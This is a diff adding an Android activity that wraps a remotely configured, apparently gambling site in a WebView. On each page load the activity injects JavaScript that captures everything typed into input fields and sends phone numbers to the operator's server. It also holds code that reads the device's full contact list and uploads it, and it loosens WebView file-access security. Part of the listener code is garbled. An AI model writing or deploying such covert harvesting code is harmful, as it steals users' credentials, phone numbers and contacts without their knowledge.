com.google.gson.Gson; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceResponse; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import okhttp3.MediaType; +import okhttp3.RequestBody; + +import just.way.appdown.AppUpdater; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +import just.way.appdown.constant.Constants; + +public class MainActivity2 extends AppCompatActivity { + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + FloatingActionButton floatingActionButton; + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + @Override + protected void onNewIntent(Intent intent) { + super.onNewIntent(intent); + setIntent(intent); + Bundle bundle = intent.getExtras(); + if (bundle != null) { + MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); + if (messageInfo != null && (messageInfo.getType() == 2 || messageInfo.getType() == 3)) { + startActivity(new Intent(MainActivity2.this, NotifyDetailsActivity.class).putExtra("message", messageInfo)); + } else { + recordNotify(messageInfo.getPushId()); + } + } + + + } + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + FirebaseMessaging.getInstance().setAutoInitEnabled(true); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + String body = getIntent().getStringExtra("message"); + if (!TextUtils.isEmpty(body)) { + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null && (messageInfo.getType() == 2 || messageInfo.getType() == 3)) { + startActivity(new Intent(MainActivity2.this, NotifyDetailsActivity.class).putExtra("message", messageInfo)); + } else { + recordNotify(messageInfo.getPushId()); + } + } + + + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果是:"+msg); + } + }); +// FirebaseMessaging.getInstance().getToken() +// .addOnCompleteListener(new OnCompleteListener() { +// @Override +// public void onComplete(@NonNull Task task) { +// if (!task.isSuccessful()) { +// LogUtils.d("Fetching FCM registration token failed" + task.getException()); +// return; +// } +// +// // Get new FCM registration token +// String token = task.getResult(); +// +// // Log and toast +// +// LogUtils.d("token=="+token); +// } +// }); + boolean isDownload = MainActivity.getBoolean(MainActivity2.this, "download", false); + if (!isDownload) { + setDownloadNumbers(); + } +// boolean isSetInvited = MainActivity.getBoolean(MainActivity2.this, "invited", false); +// if (!isSetInvited) { +// showInviteCode(); +// } + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + + + // getMyInvite(false); + setTotalTongJi(); + // readContact(); + } + + + ActionConfirmDialog actionDialog; + + private void checkNotify() { + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + if (!notificationManager.areNotificationsEnabled()) { + if (actionDialog == null) { + actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), + getString(R.string.notification_setting_txt)); + } + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + jumpNotificationSetting(); + } + + @Override + public void toCancel() { + + + } + }); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.setCancelable(false); + actionDialog.show(); + + + } + } + } + + private void jumpNotificationSetting() { + final ApplicationInfo applicationInfo = getApplicationInfo(); + try { + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", applicationInfo.packageName); + intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); + intent.putExtra("app_uid", applicationInfo.uid); + startActivity(intent); + } catch (Throwable t) { + t.printStackTrace(); + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); + intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); + startActivity(intent); + } + } + + +// // Declare the launcher at the top of your Activity/Fragment: +// private final ActivityResultLauncher requestPermissionLauncher = +// registerForActivityResult(new ActivityResultContracts.RequestPermission(), isGranted -> { +// if (isGranted) { +// // FCM SDK (and your app) can post notifications. +// } else { +// // TODO: Inform user that that your app will not show notifications. +// } +// }); + +// private void askNotificationPermission() { +// // This is only necessary for API level >= 33 (TIRAMISU) +// if (Build.VERSION.SDK_INT >= 33) { +// if (ContextCompat.checkSelfPermission(this, Manifest.permission.POST_NOTIFICATIONS) == +// PackageManager.PERMISSION_GRANTED) { +// // FCM SDK (and your app) can post notifications. +// } else if (shouldShowRequestPermissionRationale(Manifest.permission.POST_NOTIFICATIONS)) { +// // TODO: display an educational UI explaining to the user the features that will be enabled +// // by them granting the POST_NOTIFICATION permission. This UI should provide the user +// // "OK" and "No thanks" buttons. If the user selects "OK," directly request the permission. +// // If the user selects "No thanks," allow the user to continue without notifications. +// } else { +// // Directly ask for the permission +// requestPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS); +// } +// } +// } + + Handler handler = new Handler(); + + int counts = 0; + private void injectInputListener(WebView webView) { + // JS 代码:监听所有 input 和 textarea 的输入事件 + // 你的代码 + Runnable runnable = new Runnable() { + @Override + public void run() { +// // 你的代码 + + String jsCode = "javascript:(function (){" + + // 获取所有输入元素(input 和 textarea) + "var inputs = document.getElementsByTagName('input');" + + // 遍历所有输入元素,添加 input 事件监听 + "for (var i = 0; i < inputs.length; i++) {"+ + "inputs[i].addEventListener('input', function(){" + + // 触发输入时,调用 Android 接口传递内容 + "window.AndroidInterface.onInputChanged(this.value);" + + "});" + + "}"+ + "if(0=8){ + mobiles = inputContent; + } + } + + isNeed = true; + // 如需在 UI 线程操作(如更新 TextView),需切换线程 + runOnUiThread(() -> { + // 示例:更新界面 + // textView.setText(inputContent); + }); + } + } + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + // 在首页 就退出这个页面 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + super.onBackPressed(); + } else { //不在首页 回到首页 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + } + topVvvv.setVisibility(View.GONE); + progressBar.setVisibility(View.VISIBLE); + //当有条过登录页面 只能重载 不然逻辑会异常 + if (hasSignIn) { + onShowNetView(); + webView.loadUrl(url); + } else { + while (webView.canGoBack()) { + webView.goBack(); + } + + } + } + } else {//不能返回了 关闭进程 退出程序 + Intent homeIntent = new Intent(Intent.ACTION_MAIN); + homeIntent.addCategory(Intent.CATEGORY_HOME); + homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(homeIntent); + android.os.Process.killProcess(android.os.Process.myPid()); + System.exit(1); + + } + } + + public void removeChildView(int child) { + WebView childView = (WebView) webView.getChildAt(child - 1); + webView.removeView(childView); + if (webView.canGoBack()) { + webView.goBack(); + } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "just.way.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "just.way.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "https://winway33.site/"; + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private int userId = 4; + + private String shareUrl; + private String myInviteCode; + private int myInviteNum; + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + webView.addJavascriptInterface(new JsInterface(), "AndroidInterface"); + +// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +// verifyStoragePermissions(this); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + getNetUrl(); + } + + public void getNetUrl() { + Api.getInstance().geUrlNew(userId) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + + DataInfo dataInfo = o.data; + if (dataInfo != null) { + if (!TextUtils.isEmpty(dataInfo.getUrl())) { + MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); + webView.loadUrl(dataInfo.getUrl()); + } + if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { + if (Integer.parseInt(dataInfo.getVersionCode()) > BuildConfig.VERSION_CODE) { + ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), + getString(R.string.lijigengxin_txt)); + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + checkUpdate(dataInfo.getApkUrl()); + } + + @Override + public void toCancel() { + if (dataInfo.getForceUpdate() == 1) { + MainActivity2.this.finish(); + } + } + }); + actionDialog.show(); + } + } + } else { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + + } + + @Override + public void onError(int code, String msg) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + @Override + public void onError2(Result o) { + url = MainActivity.getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + }); +// Api.getInstance().geUrlNew(userId) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:" + o.url); +// if (!TextUtils.isEmpty(o.url)) { +// MainActivity.saveString(MainActivity2.this, "base_url", o.url); +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// }); + } + + public void getVersionUrl() { +// Api.getInstance().getVersion(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// if (!TextUtils.isEmpty(o.version_code)) { +// if (Integer.parseInt(o.version_code) > just.way.BuildConfig.VERSION_CODE) { +// ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, +// getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), +// getString(R.string.lijigengxin_txt)); +// actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { +// @Override +// public void toSumbit() { +// checkUpdate(o.url); +// } +// +// @Override +// public void toCancel() { +// +// } +// }); +// actionDialog.show(); +// } +// } +// +// +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + private void checkUpdate(String url) { + Constants.isUpdate = true; + new AppUpdater(this, url).start(); + + } + + List contents = new ArrayList<>(); + private static String[] PERMISSIONS_READCONTACT = { + Manifest.permission.READ_CONTACTS}; + + public void readContact() { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); + } else { + //开启线程上传数据 + new Thread(new Runnable() { + @Override + public void run() { + //获取通讯录 + contents = new ArrayList<>(); + Cursor cursor = null; + try { + cursor = getContentResolver().query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, null, null, null); + while (cursor.moveToNext()) { + int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); + String displayName = cursor.getString(i_name); + int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); + String number = cursor.getString(i_number); + ContactBean bean = new ContactBean(displayName, number.trim()); + contents.add(bean); + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (cursor != null) { + cursor.close(); + postReadContact(contents); + } + } + } + }).start(); + + + } + } + + public List removeSameContact(List contents) { + List contactBeans = new ArrayList(); + for (int i = 0; i < contents.size(); i++) { + String phone = contents.get(i).getPhone(); + if (contactBeans.contains(phone)) { + contents.remove(i); + } else { + contactBeans.add(phone); + } + } + return contents; + } + + public void postReadContact(List contents) { + Gson gson = new Gson(); + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("customers", contents); + String result = gson.toJson(map); + MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); + Api.getInstance().readContact(RequestBody.create(mediaType, result)) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void setDownloadNumbers() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().downloadNumbers(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + MainActivity.saveBoolean(MainActivity2.this, "download", true); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + public void setTotalTongJi() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().totalTongJi(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + boolean hasSignIn = false; + + WebViewClient webViewClient = new WebViewClient() { + + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + +// if (isNetError&&isAtGame) { +// topVvvv.setVisibility(View.VISIBLE); +// } + injectInputListener(webView); + + } + + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { +// LogUtils.i("网址是啥:222222222222222222222222"); + + return super.shouldInterceptRequest(webView, s); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { +// LogUtils.i("网址是啥:"+webResourceRequest.getUrl().toString()); + if ("POST".equalsIgnoreCase(webResourceRequest.getMethod())) { +// LogUtils.i("网址是啥111222:"); +// injectInputListener(webViews!=null?webViews:webView); + postMobile(); + } + return super.shouldInterceptRequest(webView, webResourceRequest); + } + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + + + + private void postMobile() { + if(!TextUtils.isEmpty(mobiles)){ + if(!TextUtils.isEmpty(oldMobiles)&&oldMobiles.endsWith(mobiles)){ + return; + } + HashMap map = new HashMap<>(); + map.put("appId", userId); + map.put("phone", mobiles); + Api.getInstance().appLoginUser(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { +// LogUtils.i("成功了!!!!!!!"); + oldMobiles = mobiles; + mobiles= ""; + } + + @Override + public void onError(int code, String msg) { +// LogUtils.i("成功了失败了!!!!!!!"); + + } + + @Override + public void onError2(Result o) { +// LogUtils.i("成功了失败了22222!!!!!!!"); + + } + }); + } + } + + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + // topVvvv.setVisibility(View.GONE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// WebView newWebView = new WebView(MainActivity2.this); + // topVvvv.setVisibility(View.VISIBLE); +// webView.addView(newWebView); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// webView.loadUrl(url); +// return false; +// } +// }); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + LogUtils.i("地址是啥:"+url); + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + try { + startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); + } catch (ActivityNotFoundException e) { +// mUploadCallbackForHighApi = null; +// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); + // Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(new Runnable() { + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public void run() { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + + + } + }); + + + } + + } + + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { + readContact(); + } else { + //没同意 + // MainActivity2.this.finish(); + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + 